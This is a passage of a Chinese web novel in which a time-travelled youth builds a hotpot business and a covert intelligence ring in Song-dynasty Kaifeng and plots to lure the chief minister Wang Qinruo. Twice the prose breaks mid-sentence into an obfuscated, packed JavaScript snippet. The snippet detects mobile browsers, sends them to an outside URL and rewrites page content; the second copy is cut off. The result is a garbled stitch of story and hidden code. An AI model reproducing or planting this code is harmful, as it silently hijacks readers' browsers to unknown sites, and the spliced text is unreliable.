借船的事搞定了，接下来就是进货。他打算先小批量试水——从两浙路进一百匹绢，运到东京城卖。如果能赚钱，再扩大规模。 回到葫芦巷，萧北翊把阿九、刘二、钱串子叫到北屋，把布匹生意的事说了一遍。 刘二第一个开口：“子翼，押船的事，我来负责。我在边军的时候，押过粮草，有经验。” 萧北翊点头：“好。刘二哥带两个人去。大锤，你跟刘二哥一起去，你的拳头有用武之地了。” 赵大锤嘿嘿一笑：“萧哥，你放心，谁敢抢咱们的货，我把他脑袋拧下来。” “少吹牛。”萧北翊白了他一眼，“记住，能不动手就不动手。这趟是做生意，不是打仗。” 钱串子推了推眼镜：“萧哥，账目的事我来管。进货、运输、销售，每笔账都要清楚。” “好。” 阿九最后一个表态：“萧哥，我留在东京城，继续盯着城里的消息。你有什么事，随时让人找我。” 就这样，赤羽的第一趟“跨区域贸易”定了下来。 刘二和赵大锤带着两个兄弟，坐船南下两浙路。萧北翊给了他们一百两银子，让他们先买一百匹绢试试水。如果卖得好，下次再加大数量。 十一月下旬，赤羽的消息简报上出现了一条让萧北翊注意的信息。 城中的“清风茶楼”，那个神秘的枢密院客人，最近一个月出现的次数减少了。以前他每天下午申时准时到，现在隔三差五才来一次，而且每次坐的时间也短了。 钱串子在汇报中说：“萧哥，我怀疑这个人在等什么。他现在来的时候，经常往茶楼对面的巷子里看。那条巷子通往几个朝中大员的宅子。” 萧北翊在简报上批注：“继续观察。如果能查到他在跟谁接头，立刻报告。” 枢密院的人，跑到茶楼等人接头，等的一定不是普通人。如果能查到接头的对象，赤羽手里就多了一张可以跟朝中大员交易的牌。 十一月的最后一天，萧北翊去太乙宫看望王隐之。 老道士最近身体不太好，咳嗽了一个多月，也不肯吃药。萧北翊给他带了一壶自制的姜茶，让阿九煮好了装在陶壶里，热热地端过去。 王隐之接过姜茶，喝了一口，眯着眼睛看着萧北翊。 “子翼，你最近瘦了。” “忙。火锅店、赤羽、囤粮、倒布匹，一堆事。” “忙点好。忙了就不想那些有的没的了。”王隐之咳嗽了两声，擦了擦嘴角，“你爹的事，查得怎么样了？” 萧北翊摇了摇头：“没有进展。只知道程家可能是幕后主使，但没有证据。” 王隐之沉默了一会儿，然后说了一句让萧北翊意外的话。 “证据，不一定在纸面上。” “那在哪儿？” “在人心里。”王隐之看着他，“当年知道那件事的人，还活着的不多了。但还活着的那些人，心里都装着那个秘密。你要找到他们，让他们开口。” 萧北翊点了点头：“我知道。但这些人，不好找。” “不好找，也要找。”王隐之站起来，走到窗前，背对着萧北翊，“你爹生前常说一句话——‘路虽远，行则必至’。你记着这句话，慢慢走，总能走到。” 萧北翊站起来，向王隐之鞠了一躬，转身走了。 走到门口的时候，他听见王隐之在身后说了一句：“子翼，保重身体。你爹的仇，还等着你报呢。” 萧北翊的脚步顿了一下，但没有回头，迈步走了出去。 当天夜里，萧北翊躺在北屋的床上，翻来覆去睡不着。 王隐之的话，在他脑子里反复回响。“证据不一定在纸面上，在人心里。”那些知道二十年前真相的人，还活着的不多了。三叔算一个，王隐之算一个，陈布衣已经死了。还有谁？ 萧北翊闭着眼睛，把原主的记忆碎片又翻了一遍。那些破碎的画面里，有一个人的面孔反复出现——一个中年男人，穿着官服，面孔模糊，但眼神很锐利。 这个人是谁？他在原主的记忆里出现过好几次，但每次都是模糊的，看不清脸。萧北翊觉得，这个人一定很重要，重要到原主的潜意识把这张脸藏了起来，不让他看见。 他睁开眼睛，看着头顶的房梁。 “慢慢来。”他对自己说，“不急。” 窗外，月亮躲进了云层里，整个东京城笼罩在一片黑暗中。 萧北翊翻了个身，闭上眼睛，终于沉沉睡去。 12. 第十二章 绢帛南下，柿子红透 大中祥符四年的冬天，比往年来得更猛一些。 十一月初八，东京城下了第一场雪。雪不大，薄薄地铺了一层，像是老天爷撒了一把盐。甜水巷的青石板路变得滑溜溜的，老孙头的豆腐摊差点翻了一回，气得他骂了半天的街。 萧北翊站在火锅店门口，看着漫天飞舞的雪花，心里想的不是雪景好不好看，而是——刘二的船队走到哪儿了。 刘二和赵大锤带着两个兄弟，坐船南下两浙路，已经走了半个月。按照行程，现在应该已经过了应天府，再有个七八天就能到杭州。如果一切顺利，年前就能把货拉回来，赶上春节前的销售旺季。 “萧哥，外面冷，进来吧。”阿九在柜台后面喊他。 萧北翊拍了拍肩头的雪，转身进了店。店里热气腾腾，几桌客人正吃得满头大汗。他走到柜台前，拿起账册翻了翻。近一个月的利润比上个月又涨了一成，清汤萝卜虽然不赚钱，但吸引了不少新客源，其中有一些人后来开始点火锅了。 这叫“引流产品带动利润产品”，现代商业的经典打法。在北宋，这叫“萧子翼这小子鬼得很”。 雪下了两天，第三天停了。太阳出来，照在雪地上，晃得人眼睛疼。 三叔来了。 他这次没空手，提了一只杀好的老母鸡，说是从城外卖鸡蛋的老乡那里换来的。萧北翊让阿九把鸡炖了，又让赵大锤去买了几个馒头，两人坐在院子里边吃边聊。 “三叔，您上次说，那个人等我‘能独当一面’了就会来找我。”萧北翊啃着鸡腿，含混不清地问，“您觉得我现在算不算？” 三叔端起碗喝了一口鸡汤，眯着眼睛想了想。 “算，也不算。” “什么叫算也不算？” “你现在的摊子铺得不小，火锅店、消息网、囤粮、倒布匹，一般人干不成。”三叔放下碗，看着他的眼睛，“但是，你还缺一样东西。” “什么？” “能镇得住场子的威望。你现在靠的是脑子，脑子好使，但在这个世道，光有脑子不够。你还得让人怕你、服你、敬你。不是因为你聪明，而是因为你手里有他们惹不起的东西。” 萧北翊沉默了一会儿。 三叔说的“威望”，不是当官的那种威风，而是一种让人不敢轻易动你的底气。这种底气，来自于实力——不是你有多少人、多少钱，而是你能在关键时刻让对手知道，动你的代价他付不起。 “三叔，您说的这个东西，怎么来？” “慢慢来。急不得。”三叔从怀里摸出一张皱巴巴的纸，递给萧北翊，“这个给你。” 萧北翊接过来一看，是一张画着简单路线的草图，标注了几个地名和人名。 “这是？” “徐州那边几个老兄弟的地址和名字。都是当年跟着陈大哥的，现在散在各处。你要是遇到解决不了的事，可以去找他们。报陈大哥的名字，他们会帮你。”三叔顿了顿，“但不到万不得已，别去找。这些人，都想过安生日子。” 萧北翊把纸折好，收进袖子里。 “三叔，谢谢。” “别谢我。谢你爹。这些人，都是你爹当年救过的。” 三叔走后，萧北翊把那张纸拿出来又看了一遍。徐州、宿州、亳州、应天府，七八个名字散落在汴河沿线。这些人，应该都是当年他父亲在军中时的旧部，退伍后回到家乡，有的种地，有的经商，有的当了小吏。 萧北翊把纸上的信息记在脑子里，然后把纸烧了。有些东西，不能留痕迹。 十一月中旬，赤羽的消息简报上出现了一条好消息。 “萧哥，”阿九拿着简报，难得地露出了笑容，“刘二哥他们到杭州了。船队顺利，货也订好了，一百匹绢，价格比东京城低两成半。等他们回来，咱们能赚三十两左右。” 萧北翊接过简报，看了一遍，点了点头。 “让他们别急着回来。既然到了杭州，就多看看，多打听。两浙路那边有什么新鲜事，有什么新的商机，都记下来。这一趟不能只赚三十两，还要赚信息和经验。” 阿九点头，去给刘二写信了。 萧北翊站在窗前，看着外面又开始飘雪的天空。 布匹生意只是第一步。他要做的，是通过贸易把赤羽的触角从东京城延伸到其他地方。汴河沿线、两浙路、甚至更远的成都府路——这些地方，都是他的信息网和商业网要覆盖的目标。 千里之行，始于足下。第一步，就从这一百匹绢开始。 十一月下旬，萧北翊收到了一封意想不到的信。 信是范仲淹写来的。 范仲淹在信中说他现在已经到了河中府就任，地方政务繁忙，但时常想起在东京城瓦舍里遇到的那个小乞丐。信末写道：“听闻你在京师开了火锅店，生意兴隆，甚慰。若有机会再来京师，定要去尝尝你那鸳鸯锅。” 萧北翊把信看了两遍，嘴角不自觉地翘了起来。 范仲淹这个人，在他原来的世界里，是“先天下之忧而忧”的道德楷模。但在这个世界里，他们是朋友——虽然只见过一面，但那种一见如故的感觉，很真实。 他提笔写了一封回信，信中说了火锅店的近况，说了东京城的雪景，最后写道：“范公若来京师，小子亲自下厨，给您调一锅最辣的。” 写完之后，他让阿九找了一个靠谱的邮差，把信寄了出去。 十一月末，赤羽的“骨干例会”照常在葫芦巷的北屋召开。 参会的人有萧北翊、阿九、钱串子、孙驼子。刘二和赵大锤不在，城东和城北的事暂时由副手代理。 钱串子先汇报了财务情况：“萧哥，账上现存银子一百二十三两。囤粮四百五十石，分散存放在三个仓库。布匹生意如果顺利，年前能再进账三十两左右。” 萧北翊点头：“囤粮继续。速度可以放慢，但不能停。” 孙驼子汇报了城南的情况：“萧哥，城南最近多了不少生面孔。我让人盯了一下，发现这些人都是冲着相国寺来的。说是从四川来的香客，但出手很大方，不像普通香客。” “四川来的？”萧北翊眉头一挑，“又是四川。” “需要继续盯着吗？”孙驼子问。 “盯着。但要小心，不要打草惊蛇。这些人如果有问题，背后一定有人。” 阿九汇报了城中和城西的情况：“萧哥，清风茶楼那个枢密院的人，最近又出现了。这次他不是一个人来的，跟他在茶楼见面的，是一个穿灰色袍子的中年人。我的线人没看清那人的脸，但从腰间的佩饰看，至少是个五品官。” “记住时间、地点，以后可能会用上。”萧北翊说。 会议结束后，众人散去。萧北翊一个人坐在北屋里，把最近收集到的信息在脑子里汇总了一遍。 四川来的神秘买家、枢密院的密探、周德茂的合作邀请、还有那些突然出现在相国寺的“香客”——这些看似无关的信息，会不会指向同一个人或同一件事？ 萧北翊暂时看不出来。但他把这些问题都记在了一个小本子上，等有了更多信息再拼图。 十二月初，刘二的船队回来了。 一百匹绢，完好无损。从杭州到东京，走大运河，历时二十三天，比预计的快了几天。刘二说路上遇到过一次小规模的盗匪，但赵大锤往船头一站，亮出拳头，那帮人就跑了。 “萧哥，这趟值了。”赵大锤晒得黑了许多，但精神头十足，“杭州那边好东西多得很，不光绢，茶叶、瓷器、扇子，都比东京便宜。咱们下次可以多带点货。” 萧北翊笑着拍了拍他的肩膀：“干得好。先休息两天，然后开始卖货。” 一百匹绢，萧北翊没有自己卖，而是交给了周世昌。周世昌做布匹生意多年，有现成的客户，三天就把货出完了。扣除成本、运费和给赵衍的一成利润，净赚了三十二两。 钱串子拿着账本，啧啧称奇：“萧哥，这一趟赚了三十二两。如果每个月跑一趟，一年就是三百多两。加上火锅店的利润，赤羽一年能赚五百多两。” “还不够。”萧北翊说，“但这些钱，足够咱们做更多的事了。” 十二月中旬，萧北翊做了一件让阿九都没想到的事——他拿出一百两银子，在城南买了一个小院子。 不是给自己住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650302|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，是给赤羽的新成员住的。赤羽现在有三十多人，葫芦巷的院子太小了，挤不下。萧北翊打算把赤羽的人分两部分：核心骨干继续住在葫芦巷，外围成员住到城南的新院子里。 阿九问：“萧哥，你怎么突然想起来买院子了？” “不是突然。”萧北翊说，“是从一开始就在计划里的。赤羽要发展，必须有固定的据点和稳定的后勤。火锅店是明面上的生意，葫芦巷是情报中心，城南的院子是人力的周转站。以后，这样的据点多几个，赤羽就能在东京城扎下根。” 阿九看着他，眼神里多了一些东西。 “萧哥，你什么时候开始想这些的？” “从我第一天在破庙里醒过来的时候。” 腊月初八，腊八节。 东京城家家户户煮腊八粥，甜水巷里弥漫着红枣和糯米的香气。萧北翊让阿九煮了一大锅腊八粥，分给赤羽的每一个人，也分了一些给隔壁的老孙头和巷子里的邻居。 三叔也来了，端着一碗粥，蹲在院子里的柿子树下，慢慢喝着。 “三叔，今年过年，您就在东京城过吧。”萧北翊蹲在他旁边，也端着一碗粥。 三叔看了他一眼，没说话，继续喝粥。 “葫芦巷的院子有空房间，您搬过来住。一个人住客栈，怪冷清的。” 三叔沉默了很久，然后“嗯”了一声。 这是答应了。 萧北翊笑了，端起碗喝了一大口粥。粥很甜，甜得暖心。 腊月十五，萧北翊让钱串子给赤羽的每个人发了过年的红包。不多，每人二两银子，但足够他们买件新衣裳、吃几顿好的了。 赵大锤拿到银子，第一个冲出去买了三斤卤肉。刘二拿了银子，给远在太原的老娘寄了两匹布。阿九拿了银子，买了一支银簪，插在头上，在铜镜前照了半天。 萧北翊没有给自己发红包。他把自己那份存进了账上，算作赤羽的储备金。 阿九问他：“萧哥，你不给自己买点东西？” 萧北翊笑了笑：“我什么都不缺。” 他说的是实话。他有火锅店，有赤羽，有一群愿意跟着他的人，有一个正在慢慢浮出水面的真相。这些东西，比什么银子都值钱。 腊月二十三，小年。 萧北翊在火锅店摆了三桌，请赤羽的所有人吃了一顿年夜饭。火锅、饺子、卤肉、烧酒，管够。赵大锤喝多了，抱着刘二的肩膀说胡话。孙驼子难得地露出了笑容，端着酒杯跟钱串子碰了一杯又一杯。 阿九坐在萧北翊旁边，低声说：“萧哥，你说明年这个时候，赤羽会有多少人？” 萧北翊想了想：“也许五十，也许一百。不管多少人，咱们还是一家人。” 阿九看着他，眼睛里有光。 “萧哥，我敬你一杯。” 两人碰了杯，各自喝干了。 窗外的雪还在下，但屋里暖融融的，笑声不断。 萧北翊靠在椅背上，看着这一屋子的人，心里涌起一股奇怪的感觉。这些人，几个月前还是衣衫褴褛的乞丐，有的连饭都吃不饱。现在，他们有饭吃，有衣穿，有钱花，有尊严地活着。 这就是他来到这个世界的意义之一。改变自己的命运，也改变身边人的命运。 更大的意义，还在后面。 除夕夜，萧北翊一个人坐在北屋里，把那本《孙子兵法》从枕头底下拿出来，翻到父亲的信，又看了一遍。 “待你成年，自有人告诉你真相。” 他今年十六岁，虚岁十七。按照北宋的算法，二十岁成年。还有三年多。 三年多，说长不长，说短不短。他要在这三年里，把赤羽做大做强，把情报网络覆盖到汴河沿线，把生意做到两浙路、成都府路，让自己成为一个人物。 到时候，那个人自然会来找他。 窗外的爆竹声此起彼伏，东京城的夜空被烟火映得忽明忽暗。大中祥符四年，就在这热闹的爆竹声中，过去了。 萧北翊合上书，吹灭了油灯。 新的一年，新的棋局。 他闭上眼睛，嘴角带着一丝笑意，沉沉睡去。 13. 第十三章 明暗之间 大中祥符五年的正月初一，东京城被爆竹声淹没了。 萧北翊起了个大早，站在葫芦巷的院子里，看着满地红色的鞭炮碎屑，深吸了一口冷冽的空气。新的一年开始了。去年这个时候，他还是破庙里一个快病死的乞丐。今年这个时候，他是南北火锅的老板、赤羽的创始人、赵衍的座上客。 但越是如此，他越清醒地意识到一件事——赤羽的发展，已经到了一道坎上。 这道坎，不是钱，不是人，而是——隐蔽性。 赤羽现在有三十多个人，消息网络覆盖全城，手里捏着不少人的把柄，生意做到了两浙路。这样的规模，在东京城里已经不是“几个乞丐抱团取暖”那么简单了。官府如果真想查，不可能查不到。 问题是——官府为什么还没查？ 萧北翊分析过这个问题。原因有三： 第一，赤羽的成员大多数还是乞丐身份，表面上看不出是一个有组织的团体。该讨饭的讨饭，该蹲墙根的蹲墙根，该在火锅店里端盘子的端盘子。外人看赤羽，就是一群在火锅店打工的穷伙计。 第二，赤羽的核心业务是消息买卖，但这种买卖从来不公开进行。交易都是在私下完成的，不留字据，不经过钱庄，银子直接交到赤羽手里，连账目都是用的复式记账法——就算账本被人拿到了，看不懂的人还是看不懂。 第三，也是最关键的——赤羽背后有赵衍。 但萧北翊清楚，赵衍的庇护不是万能的。赵衍自己还在朝堂上被王钦若、丁谓那帮人排挤，能护住赤羽一时，护不了一世。而且，萧北翊不想永远躲在别人身后。 该是时候调整赤羽的运营模式了。 正月初三，赤羽的核心成员在葫芦巷开了一个会。 参会的人有萧北翊、阿九、刘二、钱串子、孙驼子。赵大锤在城北看场子，没来。这是萧北翊第一次把“赤羽的未来发展”作为正式议题拿到会议上讨论。 “各位，”萧北翊开门见山，“赤羽现在的情况，大家都清楚。三十多个人，五个片区，消息网络覆盖全城，每月进账接近一百两。但是——正因为如此，赤羽已经不再是几个乞丐抱团取暖的小团伙了。它成了一个有组织、有规模、有钱的团体。” 他停顿了一下，环顾了一圈。 “这样的团体，在东京城里，迟早会引起官府的注意。” 刘二的眉头皱了起来：“子翼，你是担心官府会来查我们？” “不是担心，是必然。”萧北翊说，“早晚的事。与其等官府来查，不如我们先把赤羽藏好。” 钱串子推了推眼镜：“萧哥，‘藏好’是什么意思？咱们是乞丐，本来就够藏的了。” “不够。”萧北翊摇头，“现在的赤羽，藏在明处。我要让赤羽藏在明暗之间——明处看着正常，暗处才是真正的赤羽。” 萧北翊把自己的计划说了出来。 第一，赤羽要“分家”。把明面上的生意和暗地里的消息网络彻底分开。火锅店、布匹贸易、囤粮这些明面上的生意，由钱串子负责，注册在火锅店的名下。赤羽的消息网络，由阿九负责，跟火锅店没有任何账目往来。这样一来，就算有人查火锅店的账，也查不出赤羽的存在。 第二，赤羽要“变脸”。把骨干成员的身份洗白。刘二不再做搬运工了，萧北翊给他安排了一个“火锅店安保主管”的身份。赵大锤挂名“火锅店后厨管事”。其他人也各有各的明面身份。至于孙驼子这种不想洗白的，继续做他的乞丐，当作赤羽的“暗桩”。 第三，赤羽要“换名”。不要在内部公开使用“赤羽”这个名字。这个名字，只在最核心的几个人之间使用。对外，赤羽就是一个火锅店，一群打工的伙计，没有任何特殊之处。 阿九听完，第一个表态：“萧哥，你说的这些，我都同意。但我有一个问题。” “说。” “赤羽的消息网络，以后由谁负责？” 萧北翊看着她：“你。” 阿九愣了一下：“我？” “对。你。”萧北翊说，“阿九，你是赤羽最早的一批人里唯一识文断字的，城西的消息网是你一手建起来的，你在孙七爷面前都能不卑不亢。你来做消息网络的负责人，比我合适。” 阿九沉默了很久。 “萧哥，你这是在放权？” “对。”萧北翊笑了笑，“我手下的人，不能只会听命令。我要你们每个人都能独当一面。阿九，你来做赤羽的‘内务总管’，负责情报的收集、整理、分级。刘二哥负责外勤，钱串子负责财务，孙驼子负责暗桩，大锤负责安保。我负责——想下一步。” 屋子里安静了一瞬。 刘二第一个开口：“子翼，你想清楚了？把这么多事交给阿九，你干什么？” “我想更大的事。”萧北翊站起来，走到窗前，背对着他们，“赤羽现在做的，是东京城的事。但东京城之外，还有更大的天下。朝堂、边关、西夏、辽国——这些事，才是决定未来几十年天下走势的关键。我要去布更大的局。” 会议结束后，萧北翊把阿九单独留了下来。 “阿九，”萧北翊看着她，“你知道我为什么把情报的事交给你吗？” 阿九摇头。 “因为你比我更适合做这件事。”萧北翊说，“我是一个男人，在这世上做事，有很多地方进不去。但你是女人——女人能进男人进不去的地方，能看到男人看不到的东西。这是你最大的优势。” 阿九的眼睛亮了一下。 “而且，”萧北翊补充道，“你比我心细。我这个人，适合看全局，想大事。但情报工作是细活，需要耐心、细心、还有对人心的洞察。这些，你都比我强。” 阿九低下头，嘴角微微上扬：“萧哥，你这是第一次夸我。” “以后会经常夸的。”萧北翊拍了拍她的肩膀，“从今天起，赤羽的消息网络就交给你了。有什么事，直接跟我说。不用事事汇报，但要让我知道大方向。” 阿九抬起头，看着他的眼睛。 “萧哥，你放心。我不会让你失望的。” 正月初五，三叔搬进了葫芦巷。 萧北翊把自己住的那间北屋让给了他，自己搬到了东厢房。三叔一开始死活不肯，说“我一个糟老头子，怎么能让你搬出去”。萧北翊说“您年纪大了，住北屋暖和”，三叔才勉强接受了。 搬进来之后，三叔每天的事就是晒太阳、抽烟、跟孙驼子下棋。两个老头子棋艺半斤八两，一盘棋能下一整天，围观的人比火锅店的客人还多。 萧北翊偶尔会搬个小凳子坐在旁边看他们下棋。他不说话，就看。看两位老人如何在棋盘上你来我往、勾心斗角。这种观棋的过程，有时候比看简报更能让他看清人性。 三叔下棋有个特点——从不悔棋。走错了就走错了，输了就输了，从来不找借口。萧北翊问他为什么，他说：“棋如人生，落子无悔。悔了这一次，下次还会悔。” 萧北翊把这句话记在了心里。 正月十五，元宵节。 东京城一年中最热闹的日子。整个城市张灯结彩，从宣德门到南熏门，从马行街到甜水巷，到处都是花灯、烟火、杂耍、小吃摊。男女老少倾巢而出，把街道挤得水泄不通。 萧北翊让火锅店歇业一天，赤羽的所有人放假出去玩。赵大锤拉着几个兄弟去看灯会，刘二去了城东的朋友家喝酒，钱串子窝在屋里算账——这人放假都不忘工作，萧北翊不知道该夸他还是该骂他。 阿九没有出去玩。她一个人坐在葫芦巷的院子里，手里拿着一本书，心不在焉地翻着。 萧北翊走过去，在她旁边坐下。 “怎么不出去玩？” “不喜欢人多的地方。”阿九头也不抬。 “那你喜欢什么？” 阿九合上书，看着远处天空中的烟火。烟花一朵接一朵地在夜空中绽放，把她的脸映得忽明忽暗。 “萧哥，你说赤羽以后会变成什么样？” 萧北翊想了想：“赤羽会变成什么样，不是我说了算的，是你们说了算的。” 阿九转过头，看着他。 “萧哥，你什么时候学会说这种话了？” “我一直都会。只是以前没人值得我说。” 阿九愣了一下，然后笑了。不是那种客气的笑，而是从心底里漾出来的笑。 “萧哥，你这个人，真的很会说话。” “我这叫真诚。” 两人坐在院子里，看着漫天的烟花，谁也没再说话。 有些话，不用说。有些事，不用问。 正月十六，萧北翊去了一趟赵府。 赵衍在书房里见了他，这是第一次不在后花园的亭子里见面。书房比亭子正式得多，说明赵衍今天要谈的事，比平时要重要。 “坐。”赵衍指了指书桌对面的椅子。 萧北翊坐下，等着赵衍开口。 “子翼，你最近在做的事，我都知道了。”赵衍端起茶杯，喝了一口，“赤羽的分家、洗白、隐蔽化——这些都是对的。但你有没有想过一个问题？” “什么问题？” “赤羽现在的规模，已经不是一个‘火锅店的伙计’能解释的了。三十几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赵衍的话，让他意识到一个问题——赤羽的“半公开半隐蔽”，不能只是在赤羽内部调整，还需要在外部找一个“靠山”。这个靠山，不能是赵衍——赵衍本身就在王钦若的打压名单上。如果赤羽跟赵衍走得太近，反而会让王钦若更加警惕。 这个靠山，必须是王钦若自己。 与虎谋皮，听起来很危险，但也不是没有成功的机会。关键在于——让老虎觉得，你不是来抢他的肉的，而是来帮他抓羊的。 萧北翊边走边想，不知不觉走到了甜水巷口。 他抬起头，看着南北火锅的招牌在夕阳下泛着金光。招牌上“南北火锅”四个字，是他亲手写的，字迹不算好，但端正有力。 “南北”，不止是火锅。南来北往的消息，南北纵横的人脉，南腔北调的兄弟。赤羽的底色，是包容。 萧北翊推开门，走了进去。 店里热气腾腾，客人坐满了每一张桌子。阿九在柜台后面算账，刘二在角落里跟一个线人低声交谈，赵大锤在后厨忙得满头大汗。 一切都跟往常一样。但萧北翊知道，从今天起，很多事要变了。 当天夜里，萧北翊把阿九、刘二、钱串子叫到东厢房，把赵衍的话转述了一遍。 三人听完，反应各异。 刘二第一个开口：“子翼，跟王钦若做交易，这太危险了。这个人吃人不吐骨头。” 钱串子推了推眼镜：“萧哥，如果操作得当，也不是不行。关键在于——我们不能直接跟王钦若接触，要找一个中间人。” 阿九没说话，看着萧北翊。 “阿九，你怎么看？”萧北翊问。 “萧哥，我觉得与其被动等着王钦若来查我们，不如主动出击。但出击的方式，不是去投靠他，而是让他觉得——赤羽对他来说，是一个‘无害的存在’。甚至，是一个‘有用的存在’。” “怎么让他觉得？” 阿九想了想：“先查清楚王钦若最近在为什么事烦心。然后，用赤羽的消息帮他解决那个烦心事。不露面，不留名，只让他知道——有人在暗中帮他。等他好奇了、想查了，我们再让他查到赤羽。” 萧北翊的眼睛亮了。 “阿九，你这个主意好。不主动投靠，而是——引他来找我们。” 阿九点了点头：“这叫‘姜太公钓鱼，愿者上钩’。” “好。”萧北翊拍板，“就这么办。阿九，你负责查王钦若的烦心事。刘二哥，你负责准备‘钓鱼’的渠道。钱串子，你负责算账——这次的花费，不计成本。” 三人领了任务，各自散去。 萧北翊一个人坐在东厢房里，拿出那个小本子，在空白页上写了一行字： “赤羽的新阶段：从藏在暗处，到明暗之间。” 他合上本子，吹灭油灯。 窗外，月光如水。 新的一年，新的棋局，刚刚开始。 14. 第十四章 钓鱼 大中祥符五年的春天，来得不早不晚。 正月底，东京城的冰雪开始消融，甜水巷的青石板路上多了些泥泞。老孙头的豆腐摊旁边，不知谁家的杏树冒出了粉白色的花苞，给这条灰扑扑的巷子添了一抹亮色。 萧北翊站在火锅店门口，看着那棵杏树发呆。 “萧哥，你看什么呢？”赵大锤从后厨探出头来。 “看花。” “花有啥好看的？” “花好看。你不懂。”萧北翊拍了拍他的肩膀，转身进了店。 赵大锤挠挠头，嘀咕了一句“萧哥最近神神叨叨的”，回去继续切肉了。 萧北翊不是神神叨叨，他是在想事。 赤羽的“半公开化”计划已经实施了半个月。火锅店、布匹贸易、囤粮这些明面上的生意，全部归到了钱串子名下，账目清晰，干干净净。赤羽的消息网络，全部由阿九负责，跟火锅店没有任何账目往来。刘二负责外勤，手下的人有了正经身份——火锅店的“采购”“安保”“后厨帮工”，名头好听，做事方便。 三十多个人，分成了明暗两条线。明线是火锅店及其相关业务，暗线是赤羽的消息网络。两条线互不交叉，只有萧北翊和阿九知道全貌。 这套体系，萧北翊在现代叫作“前台”和“后台”，在北宋没法这么叫，他管它叫“明暗两盘棋”。 但光有内部调整还不够。赤羽需要一个“靠山”——不是赵衍，而是能让王钦若觉得“无害甚至有利用价值”的存在。萧北翊给这个计划取了个代号，叫“钓鱼”。 鱼是王钦若。钓饵，是赤羽手里最有价值的一条消息。 正月二十八，阿九带回了一条重要信息。 “萧哥，查到了。王钦若最近确实有一件烦心事。”阿九坐在东厢房里，手里拿着一个小本子，“他的侄子王仲宣，在应天府任推官，去年被人告了贪污赈灾粮。案子报到户部，被压下来了，但告状的人不甘心，直接写了状子递到了御史台。” “御史台接了？” “接了。而且已经在查了。王钦若为了这件事，最近在朝中四处活动，想把案子压下去。但御史台的人不买他的账。” 萧北翊的手指在桌上轻轻敲着。 北宋的御史台，是监察机构，权力很大，连宰相都敢弹劾。王钦若虽然是当朝宰相，但御史台那帮人都是出了名的“铁面”，不是他随便能摆平的。如果王仲宣贪污赈灾粮的案子做实了，王钦若不仅要丢面子，还可能被政敌借机攻击。 这对萧北翊来说，是一个机会。 “告状的人是谁？”萧北翊问。 “应天府的一个粮商，姓吴，叫吴德茂。他跟王仲宣有生意上的纠纷，王仲宣利用职权卡他的生意，他一怒之下就告了。” “吴德茂手里有证据吗？” “有。据说是一本王仲宣亲笔签字的账册，记录了贪污的每一笔粮食。” 萧北翊点了点头。账册是关键。如果能拿到账册，就能掌握王仲宣的罪证。但这账册在吴德茂手里，不是那么好拿的。 “阿九，吴德茂这个人，你能接触到吗？” 阿九想了想：“他在应天府，不在东京城。但赤羽在应天府有线人，可以试着接触一下。” “不急。”萧北翊站起来，走到窗前，“王钦若现在一定在到处找这个吴德茂，想在他把账册交给御史台之前把事情摆平。我们不用急着去拿账册，而是要让王钦若知道——有人能帮他拿到账册。” “萧哥，你是说——” “钓鱼。”萧北翊回过头，嘴角微微上扬，“鱼饵就是账册。鱼是王钦若。鱼竿，需要一个中间人。” 中间人的选择，萧北翊早就想好了。 这个人必须能接触到王钦若，又不能让王钦若觉得他跟赤羽有关系。他必须是王钦若信任的人——或者说，至少是王钦若觉得“可用”的人。 王隐之。太乙宫道士，王钦若的同族，不参与朝堂争斗，身份清高，王钦若对他没有戒心。更重要的是，王隐之知道赤羽的存在，也知道萧北翊的底细。 但萧北翊没有直接去找王隐之。他先去了赵府。 赵衍在书房里见他。萧北翊坐下来，开门见山：“赵大哥，我想跟您商量一件事。” 赵衍放下手中的书：“说。” 萧北翊把王钦若侄子的事、赤羽的“钓鱼”计划、以及他打算通过王隐之做中间人的想法，一五一十地说了。 赵衍听完，沉默了一会儿。 “子翼，你想好了？” “想好了。” “王钦若不是一般人。你跟他做交易，等于与虎谋皮。” “我知道。”萧北翊说，“但赤羽要想在东京城站稳脚跟，光靠我自己不行。我需要一个在朝中能说得上话的靠山。赵大哥您虽然对我有恩，但您跟王钦若是政敌，我不能把赤羽绑在您这一边。那样的话，王钦若迟早会把我当成您的棋子来打。” 赵衍的眉头皱了一下，然后舒展开了。 “你的意思是，你要在两边都站稳？” “不是两边都站稳。”萧北翊摇头，“是让两边都觉得我有用，但又都不完全属于任何一边。这样，我才能在夹缝中生存，慢慢壮大。” 赵衍盯着他看了好一会儿，然后笑了。 “子翼，你这个人，心思比我想的还要深。这件事，你自己已经有了全盘计划，来找我，不是为了问我的意见吧？” 萧北翊也笑了：“赵大哥明鉴。我来找您，是想跟您打声招呼——我要跟王钦若做交易了。这件事，可能会影响到您跟王钦若的关系。我不想瞒着您。” 赵衍端起茶杯，喝了一口，不紧不慢地说：“子翼，你跟王钦若做交易，我不反对。但你要记住——王钦若是条毒蛇，你跟他打交道，手里必须捏着他的七寸。不然，他随时可能翻脸。” “赵大哥放心，我已经留了一手。” “什么一手？” 萧北翊没有细说，只是笑了笑：“天机不可泄露。” 赵衍没有再问。他知道萧北翊这个人，该说的会说，不该说的一个字都不会漏。 从赵府出来，萧北翊直接去了太乙宫。 王隐之正在后院的菜地里种韭菜。看见萧北翊来了，他直起腰，在衣摆上擦了擦手上的泥。 “子翼，你来得正好。帮贫道把这几垄韭菜浇了。” 萧北翊二话不说，拿起水瓢，一垄一垄地浇。浇到第三垄的时候，他开口了。 “道长，我想请您帮个忙。” 王隐之蹲在地头，抽着旱烟，眯着眼睛看他。 “说。” 